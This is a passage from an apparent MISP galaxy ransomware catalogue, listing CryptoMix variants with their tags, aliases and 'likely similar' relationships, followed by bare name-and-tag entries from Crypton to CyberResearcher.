- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

Cryptomix-SERVER

Ransomware

The tag is: *misp-galaxy:ransomware="Cryptomix-SERVER"*

Cryptomix-SERVER is also known as:

- SERVER Cryptomix

View relationships graph

Cryptomix-SERVER has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Shark

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Shark"*

CryptoMix-Shark is also known as:

- Shark CryptoMix

View relationships graph

CryptoMix-Shark has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-System

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-System"*

CryptoMix-System is also known as:

- System CryptoMix

View relationships graph

CryptoMix-System has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Tastylock

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Tastylock"*

CryptoMix-Tastylock is also known as:

- Tastylock CryptoMix

View relationships graph

CryptoMix-Tastylock has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Test

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Test"*

CryptoMix-Test is also known as:

- Test CryptoMix

View relationships graph

CryptoMix-Test has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Wallet

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Wallet"*

View relationships graph

CryptoMix-Wallet has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

Cryptomix-WORK

Ransomware

The tag is: *misp-galaxy:ransomware="Cryptomix-WORK"*

Cryptomix-WORK is also known as:

- WORK CryptoMix

View relationships graph

Cryptomix-WORK has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-x1881

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-x1881"*

CryptoMix-x1881 is also known as:

- x1881 CryptoMix

View relationships graph

CryptoMix-x1881 has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-XZZX

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-XZZX"*

CryptoMix-XZZX is also known as:

- XZZX CryptoMix

View relationships graph

CryptoMix-XZZX has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Zayka

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Zayka"*

CryptoMix-Zayka is also known as:

- Zayka CryptoMix

View relationships graph

CryptoMix-Zayka has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"

Crypton

Ransomware

The tag is: *misp-galaxy:ransomware="Crypton"*

CryptoPatronum

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoPatronum"*

CryptoPokemon

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoPokemon"*

CryptorBit

Ransomware

The tag is: *misp-galaxy:ransomware="CryptorBit"*

CryptoShield 2.0

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoShield 2.0"*

CryptoSpider

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoSpider"*

CryptoViki

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoViki"*

Cryptre

Ransomware

The tag is: *misp-galaxy:ransomware="Cryptre"*

CrypTron

Ransomware

The tag is: *misp-galaxy:ransomware="CrypTron"*

Crysis XTBL

Ransomware

The tag is: *misp-galaxy:ransomware="Crysis XTBL"*

Crystal

Ransomware

The tag is: *misp-galaxy:ransomware="Crystal"*

CrystalCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="CrystalCrypt"*

CryTekk

Ransomware

The tag is: *misp-galaxy:ransomware="CryTekk"*

CSP

Ransomware

The tag is: *misp-galaxy:ransomware="CSP"*

CTB-Locker Original

Ransomware

The tag is: *misp-galaxy:ransomware="CTB-Locker Original"*

CTF

Ransomware

The tag is: *misp-galaxy:ransomware="CTF"*

Cuba

Ransomware

The tag is: *misp-galaxy:ransomware="Cuba"*

Curumim

Ransomware

The tag is: *misp-galaxy:ransomware="Curumim"*

CVLocker

Ransomware

The tag is: *misp-galaxy:ransomware="CVLocker"*

Cyber Police HT

Ransomware

The tag is: *misp-galaxy:ransomware="Cyber Police HT"*

CyberDrill2

Ransomware

The tag is: *misp-galaxy:ransomware="CyberDrill2"*

CyberResearcher

Ransomware

